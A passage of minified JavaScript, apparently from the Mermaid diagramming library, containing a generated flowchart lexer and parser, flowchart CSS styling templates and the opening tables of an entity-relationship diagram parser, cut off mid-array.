1:jt.push(Xa),Dr.push(qi.yytext),me.push(qi.yylloc),jt.push(ko[1]),Xa=null,ZC?(Xa=ZC,ZC=null):(V4=qi.yyleng,be=qi.yytext,jr=qi.yylineno,QC=qi.yylloc,XC>0&&XC--);break;case 2:if(iu=this.productions_[ko[1]][1],g0.$=Dr[Dr.length-iu],g0._$={first_line:me[me.length-(iu||1)].first_line,last_line:me[me.length-1].last_line,first_column:me[me.length-(iu||1)].first_column,last_column:me[me.length-1].last_column},z3e&&(g0._$.range=[me[me.length-(iu||1)].range[0],me[me.length-1].range[1]]),JC=this.performAction.apply(g0,[be,V4,jr,ad.yy,ko[1],Dr,me].concat($3e)),typeof JC<"u")return JC;iu&&(jt=jt.slice(0,-1*iu*2),Dr=Dr.slice(0,-1*iu),me=me.slice(0,-1*iu)),jt.push(this.productions_[ko[1]][0]),Dr.push(g0.$),me.push(g0._$),Vz=Yl[jt[jt.length-2]][jt[jt.length-1]],jt.push(Vz);break;case 3:return!0}}return!0},"parse")},Zs=(function(){var fr={EOF:1,parseError:o(function(kt,jt){if(this.yy.parser)this.yy.parser.parseError(kt,jt);else throw new Error(kt)},"parseError"),setInput:o(function(it,kt){return this.yy=kt||this.yy||{},this._input=it,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var it=this._input[0];this.yytext+=it,this.yyleng++,this.offset++,this.match+=it,this.matched+=it;var kt=it.match(/(?:\r\n?|\n).*/g);return kt?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),it},"input"),unput:o(function(it){var kt=it.length,jt=it.split(/(?:\r\n?|\n)/g);this._input=it+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-kt),this.offset-=kt;var ht=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),jt.length-1&&(this.yylineno-=jt.length-1);var Dr=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:jt?(jt.length===ht.length?this.yylloc.first_column:0)+ht[ht.length-jt.length].length-jt[0].length:this.yylloc.first_column-kt},this.options.ranges&&(this.yylloc.range=[Dr[0],Dr[0]+this.yyleng-kt]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(it){this.unput(this.match.slice(it))},"less"),pastInput:o(function(){var it=this.matched.substr(0,this.matched.length-this.match.length);return(it.length>20?"...":"")+it.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var it=this.match;return it.length<20&&(it+=this._input.substr(0,20-it.length)),(it.substr(0,20)+(it.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var it=this.pastInput(),kt=new Array(it.length+1).join("-");return it+this.upcomingInput()+` +`+kt+"^"},"showPosition"),test_match:o(function(it,kt){var jt,ht,Dr;if(this.options.backtrack_lexer&&(Dr={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Dr.yylloc.range=this.yylloc.range.slice(0))),ht=it[0].match(/(?:\r\n?|\n).*/g),ht&&(this.yylineno+=ht.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:ht?ht[ht.length-1].length-ht[ht.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+it[0].length},this.yytext+=it[0],this.match+=it[0],this.matches=it,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(it[0].length),this.matched+=it[0],jt=this.performAction.call(this,this.yy,this,kt,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),jt)return jt;if(this._backtrack){for(var me in Dr)this[me]=Dr[me];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var it,kt,jt,ht;this._more||(this.yytext="",this.match="");for(var Dr=this._currentRules(),me=0;mekt[0].length)){if(kt=jt,ht=me,this.options.backtrack_lexer){if(it=this.test_match(jt,Dr[me]),it!==!1)return it;if(this._backtrack){kt=!1;continue}else return!1}else if(!this.options.flex)break}return kt?(it=this.test_match(kt,Dr[ht]),it!==!1?it:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var kt=this.next();return kt||this.lex()},"lex"),begin:o(function(kt){this.conditionStack.push(kt)},"begin"),popState:o(function(){var kt=this.conditionStack.length-1;return kt>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(kt){return kt=this.conditionStack.length-1-Math.abs(kt||0),kt>=0?this.conditionStack[kt]:"INITIAL"},"topState"),pushState:o(function(kt){this.begin(kt)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(kt,jt,ht,Dr){var me=Dr;switch(ht){case 0:return this.begin("acc_title"),34;break;case 1:return this.popState(),"acc_title_value";break;case 2:return this.begin("acc_descr"),36;break;case 3:return this.popState(),"acc_descr_value";break;case 4:this.begin("acc_descr_multiline");break;case 5:this.popState();break;case 6:return"acc_descr_multiline_value";case 7:return this.pushState("shapeData"),jt.yytext="",40;break;case 8:return this.pushState("shapeDataStr"),40;break;case 9:return this.popState(),40;break;case 10:let Yl=/\n\s*/g;return jt.yytext=jt.yytext.replace(Yl,"
    "),40;break;case 11:return 40;case 12:this.popState();break;case 13:this.begin("callbackname");break;case 14:this.popState();break;case 15:this.popState(),this.begin("callbackargs");break;case 16:return 95;case 17:this.popState();break;case 18:return 96;case 19:return"MD_STR";case 20:this.popState();break;case 21:this.begin("md_string");break;case 22:return"STR";case 23:this.popState();break;case 24:this.pushState("string");break;case 25:return 84;case 26:return 102;case 27:return 85;case 28:return 104;case 29:return 86;case 30:return 87;case 31:return 97;case 32:this.begin("click");break;case 33:this.popState();break;case 34:return 88;case 35:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 36:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 37:return kt.lex.firstGraph()&&this.begin("dir"),12;break;case 38:return 27;case 39:return 32;case 40:return 98;case 41:return 98;case 42:return 98;case 43:return 98;case 44:return this.popState(),13;break;case 45:return this.popState(),14;break;case 46:return this.popState(),14;break;case 47:return this.popState(),14;break;case 48:return this.popState(),14;break;case 49:return this.popState(),14;break;case 50:return this.popState(),14;break;case 51:return this.popState(),14;break;case 52:return this.popState(),14;break;case 53:return this.popState(),14;break;case 54:return this.popState(),14;break;case 55:return 121;case 56:return 122;case 57:return 123;case 58:return 124;case 59:return 78;case 60:return 105;case 61:return 111;case 62:return 46;case 63:return 60;case 64:return 44;case 65:return 8;case 66:return 106;case 67:return 115;case 68:return this.popState(),77;break;case 69:return this.pushState("edgeText"),75;break;case 70:return 119;case 71:return this.popState(),77;break;case 72:return this.pushState("thickEdgeText"),75;break;case 73:return 119;case 74:return this.popState(),77;break;case 75:return this.pushState("dottedEdgeText"),75;break;case 76:return 119;case 77:return 77;case 78:return this.popState(),53;break;case 79:return"TEXT";case 80:return this.pushState("ellipseText"),52;break;case 81:return this.popState(),55;break;case 82:return this.pushState("text"),54;break;case 83:return this.popState(),57;break;case 84:return this.pushState("text"),56;break;case 85:return 58;case 86:return this.pushState("text"),67;break;case 87:return this.popState(),64;break;case 88:return this.pushState("text"),63;break;case 89:return this.popState(),49;break;case 90:return this.pushState("text"),48;break;case 91:return this.popState(),69;break;case 92:return this.popState(),71;break;case 93:return 117;case 94:return this.pushState("trapText"),68;break;case 95:return this.pushState("trapText"),70;break;case 96:return 118;case 97:return 67;case 98:return 90;case 99:return"SEP";case 100:return 89;case 101:return 115;case 102:return 111;case 103:return 44;case 104:return 109;case 105:return 114;case 106:return 116;case 107:return this.popState(),62;break;case 108:return this.pushState("text"),62;break;case 109:return this.popState(),51;break;case 110:return this.pushState("text"),50;break;case 111:return this.popState(),31;break;case 112:return this.pushState("text"),29;break;case 113:return this.popState(),66;break;case 114:return this.pushState("text"),65;break;case 115:return"TEXT";case 116:return"QUOTE";case 117:return 9;case 118:return 10;case 119:return 11}},"anonymous"),rules:[/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:@\{)/,/^(?:["])/,/^(?:["])/,/^(?:[^\"]+)/,/^(?:[^}^"]+)/,/^(?:\})/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:[^`"]+)/,/^(?:[`]["])/,/^(?:["][`])/,/^(?:[^"]+)/,/^(?:["])/,/^(?:["])/,/^(?:style\b)/,/^(?:default\b)/,/^(?:linkStyle\b)/,/^(?:interpolate\b)/,/^(?:classDef\b)/,/^(?:class\b)/,/^(?:href[\s])/,/^(?:click[\s]+)/,/^(?:[\s\n])/,/^(?:[^\s\n]*)/,/^(?:flowchart-elk\b)/,/^(?:graph\b)/,/^(?:flowchart\b)/,/^(?:subgraph\b)/,/^(?:end\b\s*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:(\r?\n)*\s*\n)/,/^(?:\s*LR\b)/,/^(?:\s*RL\b)/,/^(?:\s*TB\b)/,/^(?:\s*BT\b)/,/^(?:\s*TD\b)/,/^(?:\s*BR\b)/,/^(?:\s*<)/,/^(?:\s*>)/,/^(?:\s*\^)/,/^(?:\s*v\b)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:[^\s\"]+@(?=[^\{\"]))/,/^(?:[0-9]+)/,/^(?:#)/,/^(?::::)/,/^(?::)/,/^(?:&)/,/^(?:;)/,/^(?:,)/,/^(?:\*)/,/^(?:\s*[xo<]?--+[-xo>]\s*)/,/^(?:\s*[xo<]?--\s*)/,/^(?:[^-]|-(?!-)+)/,/^(?:\s*[xo<]?==+[=xo>]\s*)/,/^(?:\s*[xo<]?==\s*)/,/^(?:[^=]|=(?!))/,/^(?:\s*[xo<]?-?\.+-[xo>]?\s*)/,/^(?:\s*[xo<]?-\.\s*)/,/^(?:[^\.]|\.(?!))/,/^(?:\s*~~[\~]+\s*)/,/^(?:[-/\)][\)])/,/^(?:[^\(\)\[\]\{\}]|!\)+)/,/^(?:\(-)/,/^(?:\]\))/,/^(?:\(\[)/,/^(?:\]\])/,/^(?:\[\[)/,/^(?:\[\|)/,/^(?:>)/,/^(?:\)\])/,/^(?:\[\()/,/^(?:\)\)\))/,/^(?:\(\(\()/,/^(?:[\\(?=\])][\]])/,/^(?:\/(?=\])\])/,/^(?:\/(?!\])|\\(?!\])|[^\\\[\]\(\)\{\}\/]+)/,/^(?:\[\/)/,/^(?:\[\\)/,/^(?:<)/,/^(?:>)/,/^(?:\^)/,/^(?:\\\|)/,/^(?:v\b)/,/^(?:\*)/,/^(?:#)/,/^(?:&)/,/^(?:([A-Za-z0-9!"\#$%&'*+\.`?\\_\/]|-(?=[^\>\-\.])|(?!))+)/,/^(?:-)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\|)/,/^(?:\|)/,/^(?:\))/,/^(?:\()/,/^(?:\])/,/^(?:\[)/,/^(?:(\}))/,/^(?:\{)/,/^(?:[^\[\]\(\)\{\}\|\"]+)/,/^(?:")/,/^(?:(\r?\n)+)/,/^(?:\s)/,/^(?:$)/],conditions:{shapeDataEndBracket:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeDataStr:{rules:[9,10,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},shapeData:{rules:[8,11,12,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackargs:{rules:[17,18,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},callbackname:{rules:[14,15,16,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},href:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},click:{rules:[21,24,33,34,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dottedEdgeText:{rules:[21,24,74,76,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},thickEdgeText:{rules:[21,24,71,73,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},edgeText:{rules:[21,24,68,70,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},trapText:{rules:[21,24,77,80,82,84,88,90,91,92,93,94,95,108,110,112,114],inclusive:!1},ellipseText:{rules:[21,24,77,78,79,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},text:{rules:[21,24,77,80,81,82,83,84,87,88,89,90,94,95,107,108,109,110,111,112,113,114,115],inclusive:!1},vertex:{rules:[21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},dir:{rules:[21,24,44,45,46,47,48,49,50,51,52,53,54,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr_multiline:{rules:[5,6,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_descr:{rules:[3,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},acc_title:{rules:[1,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},md_string:{rules:[19,20,21,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},string:{rules:[21,22,23,24,77,80,82,84,88,90,94,95,108,110,112,114],inclusive:!1},INITIAL:{rules:[0,2,4,7,13,21,24,25,26,27,28,29,30,31,32,35,36,37,38,39,40,41,42,43,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,71,72,74,75,77,80,82,84,85,86,88,90,94,95,96,97,98,99,100,101,102,103,104,105,106,108,110,112,114,116,117,118,119],inclusive:!0}}};return fr})();Hi.lexer=Zs;function _a(){this.yy={}}return o(_a,"Parser"),_a.prototype=Hi,Hi.Parser=_a,new _a})();GI.parser=GI;VI=GI});var ffe,dfe,pfe=N(()=>{"use strict";hfe();ffe=Object.assign({},VI);ffe.parse=t=>{let e=t.replace(/}\s*\n/g,`} +`);return VI.parse(e)};dfe=ffe});var zc,yg=N(()=>{"use strict";zc=o(()=>` + /* Font Awesome icon styling - consolidated */ + .label-icon { + display: inline-block; + height: 1em; + overflow: visible; + vertical-align: -0.125em; + } + + .node .label-icon path { + fill: currentColor; + stroke: revert; + stroke-width: revert; + } +`,"getIconStyles")});var Jqe,eWe,mfe,gfe=N(()=>{"use strict";eo();yg();Jqe=o((t,e)=>{let r=ld,n=r(t,"r"),i=r(t,"g"),a=r(t,"b");return Ka(n,i,a,e)},"fade"),eWe=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.nodeTextColor||t.textColor}; + } + .cluster-label text { + fill: ${t.titleColor}; + } + .cluster-label span { + color: ${t.titleColor}; + } + .cluster-label span p { + background-color: transparent; + } + + .label text,span { + fill: ${t.nodeTextColor||t.textColor}; + color: ${t.nodeTextColor||t.textColor}; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + .rough-node .label text , .node .label text, .image-shape .label, .icon-shape .label { + text-anchor: middle; + } + // .flowchart-label .text-outer-tspan { + // text-anchor: middle; + // } + // .flowchart-label .text-inner-tspan { + // text-anchor: start; + // } + + .node .katex path { + fill: #000; + stroke: #000; + stroke-width: 1px; + } + + .rough-node .label,.node .label, .image-shape .label, .icon-shape .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + + .root .anchor path { + fill: ${t.lineColor} !important; + stroke-width: 0; + stroke: ${t.lineColor}; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 2.0px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + + /* For html labels only */ + .labelBkg { + background-color: ${Jqe(t.edgeLabelBackground,.5)}; + // background-color: + } + + .cluster rect { + fill: ${t.clusterBkg}; + stroke: ${t.clusterBorder}; + stroke-width: 1px; + } + + .cluster text { + fill: ${t.titleColor}; + } + + .cluster span { + color: ${t.titleColor}; + } + /* .cluster div { + color: ${t.titleColor}; + } */ + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .flowchartTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } + + rect.text { + fill: none; + stroke-width: 0; + } + + .icon-shape, .image-shape { + background-color: ${t.edgeLabelBackground}; + p { + background-color: ${t.edgeLabelBackground}; + padding: 2px; + } + rect { + opacity: 0.5; + background-color: ${t.edgeLabelBackground}; + fill: ${t.edgeLabelBackground}; + } + text-align: center; + } + ${zc()} +`,"getStyles"),mfe=eWe});var CE={};dr(CE,{diagram:()=>tWe});var tWe,AE=N(()=>{"use strict";Xt();Bte();ufe();pfe();gfe();tWe={parser:dfe,get db(){return new lw},renderer:cfe,styles:mfe,init:o(t=>{t.flowchart||(t.flowchart={}),t.layout&&nv({layout:t.layout}),t.flowchart.arrowMarkerAbsolute=t.arrowMarkerAbsolute,nv({flowchart:{arrowMarkerAbsolute:t.arrowMarkerAbsolute}})},"init")}});var UI,Tfe,wfe=N(()=>{"use strict";UI=(function(){var t=o(function(K,ae,Q,de){for(Q=Q||{},de=K.length;de--;Q[K[de]]=ae);return Q},"o"),e=[6,8,10,22,24,26,28,33,34,35,36,37,40,43,44,50],r=[1,10],n=[1,11],i=[1,12],a=[1,13],s=[1,20],l=[1,21],u=[1,22],h=[1,23],f=[1,24],d=[1,19],p=[1,25],m=[1,26],g=[1,18],y=[1,33],v=[1,34],x=[1,35],b=[1,36],T=[1,37],S=[6,8,10,13,15,17,20,21,22,24,26,28,33,34,35,36,37,40,43,44,50,63,64,65,66,67],w=[1,42],k=[1,43],A=[1,52],C=[40,50,68,69],R=[1,63],I=[1,61],L=[1,58],E=[1,62],D=[1,64],_=[6,8,10,13,17,22,24,26,28,33,34,35,36,37,40,41,42,43,44,48,49,50,63,64,65,66,67],O=[63,64,65,66,67],M=[1,81],P=[1,80],B=[1,78],F=[1,79],G=[6,10,42,47],$=[6,10,13,41,42,47,48,49],U=[1,89],j=[1,88],te=[1,87],Y=[19,56],oe=[1,98],J=[1,97],ue=[19,56,58,60],re={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,ER_DIAGRAM:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,entityName:11,relSpec:12,COLON:13,role:14,STYLE_SEPARATOR:15,idList:16,BLOCK_START:17,attributes:18,BLOCK_STOP:19,SQS:20,SQE:21,title:22,title_value:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,direction:29,classDefStatement:30,classStatement:31,styleStatement:32,direction_tb:33,direction_bt:34,direction_rl:35,direction_lr:36,CLASSDEF:37,stylesOpt:38,separator:39,UNICODE_TEXT:40,STYLE_TEXT:41,COMMA:42,CLASS:43,STYLE:44,style:45,styleComponent:46,SEMI:47,NUM:48,BRKT:49,ENTITY_NAME:50,attribute:51,attributeType:52,attributeName:53,attributeKeyTypeList:54,attributeComment:55,ATTRIBUTE_WORD:56,attributeKeyType:57,",":58,ATTRIBUTE_KEY:59,COMMENT:60,cardinality:61,relType:62,ZERO_OR_ONE:63,ZERO_OR_MORE:64,ONE_OR_MORE:65,ONLY_ONE:66,MD_PARENT:67,NON_IDENTIFYING:68,IDENTIFYING:69,WORD:70,$accept:0,$end:1},terminals_:{2:"error",4:"ER_DIAGRAM",6:"EOF",8:"SPACE",10:"NEWLINE",13:"COLON",15:"STYLE_SEPARATOR",17:"BLOCK_START",19:"BLOCK_STOP",20:"SQS",21:"SQE",22:"title",23:"title_value",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"direction_tb",34:"direction_bt",35:"direction_rl",36:"direction_lr",37:"CLASSDEF",40:"UNICODE_TEXT",41:"STYLE_TEXT",42:"COMMA",43:"CLASS",44:"STYLE",47:"SEMI",48:"NUM",49:"BRKT",50:"ENTITY_NAME",56:"ATTRIBUTE_WORD",58:",",59:"ATTRIBUTE_KEY",60:"COMMENT",63:"ZERO_OR_ONE",64:"ZERO_OR_MORE",65:"ONE_OR_MORE",66:"ONLY_ONE",67:"MD_PARENT",68:"NON_IDENTIFYING",69:"IDENTIFYING",70:"WORD"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,5],[9,9],[9,7],[9,7],[9,4],[9,6],[9